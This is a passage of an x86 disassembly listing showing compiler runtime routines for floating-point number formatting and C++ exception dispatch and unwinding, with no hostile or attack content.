		add	esp, 14h

loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB33C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB344, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB33C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB344, ecx
		setl	cl
		mov	byte_4DB348, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB344, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32

loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al

loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------

loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h

loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB340, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB340, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB340, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB340, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------

loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9

loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi

loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2

loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------

loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h

loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax

loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6

loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2

loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB34C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB350
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2

loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2

loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax

loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A

loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7

loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8

loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------

loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]

loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------

loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx

loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------

loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB354, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC

loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax

loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4

loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------

loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053

loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053

loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053

loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057

loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------

loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax

loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3

loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2

loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510

loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------

loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h

loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------

loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]

loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E

loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB34C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB350
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB34C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB350, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]

loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------

loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB34C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB350, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------

loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------

loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2

loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
